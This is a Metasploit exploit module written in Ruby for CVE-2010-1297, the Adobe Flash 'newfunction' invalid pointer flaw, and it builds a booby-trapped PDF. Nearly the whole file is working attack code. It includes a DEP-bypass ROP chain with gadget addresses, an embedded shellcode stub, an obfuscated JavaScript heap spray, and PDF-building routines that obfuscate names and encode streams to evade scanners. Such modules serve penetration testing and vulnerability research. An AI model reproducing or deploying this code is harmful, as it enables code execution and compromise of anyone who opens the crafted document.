423 lines
13 KiB
Ruby
423 lines
13 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
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'Description' => %q{
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This module exploits a vulnerability in the DoABC tag handling within
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versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
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vulnerable, as are any other applications that may embed Flash player.
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Arbitrary code execution is achieved by embedding a specially crafted Flash
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movie into a PDF document. An AcroJS heap spray is used in order to ensure
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that the memory used by the invalid pointer issue is controlled.
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NOTE: This module uses a similar DEP bypass method to that used within the
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adobe_libtiff module. This method is unlikely to work across various
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Windows versions due a the hardcoded syscall number.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Found being openly exploited
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'jduck' # Metasploit version
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],
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'References' =>
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[
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['CVE', '2010-1297'],
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['OSVDB', '65141'],
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['BID', '40586'],
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['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
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# For SWF->PDF embedding
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['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
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# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
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# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
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[ 'Automatic', { }],
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],
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'DisclosureDate' => 'Jun 04 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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])
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end
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def exploit
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swf_data = make_swf()
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js_data = make_js(payload.encoded)
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# Create the pdf
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pdf = make_pdf(swf_data, js_data)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def make_swf
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# load the static swf file
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path = File.join( Msf::Config.data_directory, "exploits", "CVE-2010-1297.swf" )
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fd = File.open( path, "rb" )
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swf_data = fd.read(fd.stat.size)
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fd.close
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swf_data
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end
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def make_js(encoded_payload)
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# The following executes a ret2lib using BIB.dll
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# The effect is to bypass DEP and execute the shellcode in an indirect way
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stack_data = [
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0xc0c0c0c,
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0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
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0xcccccccc,
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0x70048ef, # xchg eax,esp / ret
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0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
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0xcccccccc,
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009033, # ret 0x18
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0x7009084, # ret
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0xc0c0c0c,
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7001599, # pop ebp / ret
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0x10124,
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0x70072f7, # pop eax / ret
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0x10104,
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0x70015bb, # pop ecx / ret
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0x1000,
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0x700154d, # mov [eax], ecx / ret
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0x70015bb, # pop ecx / ret
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0x7ffe0300, # -- location of KiFastSystemCall
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0x7007fb2, # mov eax, [ecx] / ret
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0x70015bb, # pop ecx / ret
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0x10011,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70015bb, # pop ecx / ret
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0x10100,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70072f7, # pop eax / ret
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0x10011,
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0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
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0x7005c54, # pop esi / add esp,0x14 / ret
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0xffffffff,
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0x10100,
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0x0,
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0x10104,
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0x1000,
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0x40,
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# The next bit effectively copies data from the interleaved stack to the memory
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# pointed to by eax
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# The data copied is:
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# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
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# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
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# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x70015bb, # pop ecx / ret
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0x9054905a,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x5815eb5a,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x18891a8b,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x8304c083,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xfb8104c2,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xc0c0c0c,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x5ebee75,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xffffe6e8,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x909090ff,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90909090,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90909090,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90ffffff,
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0x700154d, # mov [eax], ecx / ret
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x700112f # call eax -- (execute stub to transition to full shellcode)
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].pack('V*')
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var_unescape = rand_text_alpha(rand(100) + 1)
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var_shellcode = rand_text_alpha(rand(100) + 1)
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var_start = rand_text_alpha(rand(100) + 1)
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var_s = 0x10000
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var_c = rand_text_alpha(rand(100) + 1)
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var_b = rand_text_alpha(rand(100) + 1)
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var_d = rand_text_alpha(rand(100) + 1)
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var_3 = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(100) + 1)
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var_4 = rand_text_alpha(rand(100) + 1)
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payload_buf = ''
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payload_buf << stack_data
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payload_buf << encoded_payload
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escaped_payload = Rex::Text.to_unescape(payload_buf)
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js = %Q|
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var #{var_unescape} = unescape;
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var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
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var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
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while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
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#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
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#{var_b} += #{var_shellcode};
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#{var_b} += #{var_c};
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#{var_d} = #{var_b}.substring(0, #{var_s}/2);
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while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
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#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
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var #{var_4} = new Array();
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for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
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js
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end
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def random_non_ascii_string(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def io_def(id)
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"%d 0 obj\n" % id
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end
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def io_ref(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def n_obfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ascii_hex_whitespace_encode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(swf, js)
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swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
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xref = []
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eol = "\n"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%PDF-1.5" << eol
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#pdf << "%" << random_non_ascii_string(4) << eol
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# catalog
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xref << pdf.length
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pdf << io_def(1) << n_obfu("<</Type/Catalog")
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pdf << n_obfu("/Pages ") << io_ref(3)
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pdf << n_obfu("/OpenAction ") << io_ref(5)
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# pages array
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xref << pdf.length
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pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj
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# page 1
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xref << pdf.length
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pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)
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pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# js action
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xref << pdf.length
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pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj
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# js stream
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
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pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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# swf annotation object
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xref << pdf.length
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pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")
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pdf << n_obfu("/Rect [20 20 187 69] ")
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pdf << n_obfu("/RichMediaSettings ") << io_ref(8)
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pdf << n_obfu("/RichMediaContent ") << io_ref(9)
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pdf << n_obfu("/NM (") << swf_name << n_obfu(")")
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# rich media settings
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xref << pdf.length
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pdf << io_def(8)
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pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")
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pdf << n_obfu("/Activation ") << io_ref(10)
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pdf << n_obfu("/Deactivation ") << io_ref(11)
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# rich media content
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xref << pdf.length
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pdf << io_def(9)
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pdf << n_obfu("<</Type/RichMediaContent")
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pdf << n_obfu("/Assets ") << io_ref(12)
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pdf << n_obfu("/Configurations [") << io_ref(14) << "]"
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# rich media activation / deactivation
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xref << pdf.length
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pdf << io_def(10)
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pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << io_def(11)
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pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")
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pdf << eol << endobj
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# rich media assets
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xref << pdf.length
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pdf << io_def(12)
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pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")
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pdf << eol << endobj
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# swf embeded file ref
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xref << pdf.length
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pdf << io_def(13)
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pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")
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pdf << eol << endobj
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# rich media configuration
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xref << pdf.length
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pdf << io_def(14)
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pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")
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pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")
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pdf << eol << endobj
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# rich media isntance
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xref << pdf.length
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pdf << io_def(15)
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pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")
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pdf << n_obfu("/Asset ") << io_ref(13)
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pdf << n_obfu(">>")
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pdf << eol << endobj
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# swf stream
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# NOTE: This data is already compressed, no need to compress it again...
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xref << pdf.length
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pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
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pdf << "stream" << eol
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pdf << swf << eol
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pdf << "endstream" << eol
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pdf << endobj
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# trailing stuff
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << eol
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pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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pdf
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end
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end
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